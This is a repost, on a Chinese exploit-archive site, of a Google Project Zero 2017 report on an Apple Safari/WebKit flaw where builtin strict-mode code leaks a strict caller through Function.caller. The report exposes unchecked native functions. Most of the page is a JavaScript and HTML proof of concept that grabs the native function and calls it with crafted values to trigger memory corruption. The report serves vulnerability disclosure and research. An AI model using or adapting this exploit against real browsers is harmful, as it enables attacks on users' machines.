首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mo
来源:Google Security Research 作者:Google 发布时间:2017-03-28  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032
 
If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.
 
A minimal example of this issue is as follows, and a full example is attached.
 
var q;
function g(){
    q = g.caller;
    return 7;
}
 
 
var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);
 
 
I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems
-->
 
<html>
<body>
<script>
 
var q;
function g(){
    //print("in g");
    //print(arguments.caller);
    //print(g.caller);
    q = g.caller;
    //print(g.caller);
    return 7;
 
}
 
var a = [1, 2, 3];
 
Object.defineProperty( Array.prototype, "1", { get : g} );
 
 
var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
 
[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Safari - 'DateTimeFormat
·Apple Safari - Out-of-Bounds R
·Samba 4.5.2 - Symlink Race Per
·Github Enterprise - Default Se
·Internet Information Services
·QNAP QTS < 4.2.4 - Domain Priv
·Microsoft Visual Studio 2015 u
·DzSoft PHP Editor 4.2.7 - File
·FTPShell Server 6.56 Import CS
·MikroTik RouterBoard 6.38.5 -
·Forticlient 5.2.3 Windows 10 x
·Intermec PM43 Industrial Print
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved